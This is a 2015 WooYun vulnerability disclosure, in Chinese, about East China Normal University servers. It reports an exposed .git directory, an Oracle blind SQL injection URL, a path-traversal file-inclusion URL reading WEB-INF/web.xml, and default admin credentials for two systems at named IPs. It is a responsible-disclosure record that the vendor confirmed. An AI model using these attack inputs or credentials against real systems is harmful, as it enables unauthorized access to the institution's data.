漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0160945
漏洞标题：华东师范大学信息泄漏/弱口令/sql注入/任意文件包含漏洞
相关厂商：华东师范大学
漏洞作者： Jyhtpy
提交时间：2015-12-14 11:27
修复时间：2016-01-28 17:10
公开时间：2016-01-28 17:10
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-12-14： 细节已通知厂商并且等待厂商处理中
2015-12-15： 厂商已经确认，细节仅向厂商公开
2015-12-25： 细节向核心白帽子及相关领域专家公开
2016-01-04： 细节向普通白帽子公开
2016-01-14： 细节向实习白帽子公开
2016-01-28： 细节向公众公开
简要描述：
早上起床~活动一下
详细说明：
liwa.ecnu.edu.cn
配置不当
![]`2_HJU}$ER0H%YW0B`59~2.png](https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/201512/131306077466a961a0251266e3194d150290b7bd.png)
http://media.ecnu.edu.cn/.git/
利用lijiejie的githack还原出部分源码
![[T@XK{{1]}_XT8SSG15}R9G.jpg](https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/201512/1313075090a4c790c6a5c9eab447397f62e31340.jpg)
http://202.120.83.100/sggl/wsjj/index.jsp?mainpath=zcgysDetails.jsp?flag=201305280003835721
oracle盲注 跑起来比较慢 数据太多，就跑了库名
http://202.120.83.100/sggl/wsjj/index.jsp?mainpath=../../WEB-INF/web.xml
顺手手工试了下
http://202.120.85.11:8080 华东师范大学户外团学活动审批系统
admin/123456
http://202.120.88.141 华东师范大学视频会议中控
admin/admin
![)X]`(YHM[XK}GQH5M80H9JH.jpg](https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/201512/1313160534d311398b8459a98876cdd5fb938060.jpg)
漏洞证明：
已证明
修复方案：
无
版权声明：转载请注明来源 Jyhtpy@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2015-12-15 14:26
厂商回复：
通知二级单位处理。
最新状态：
暂无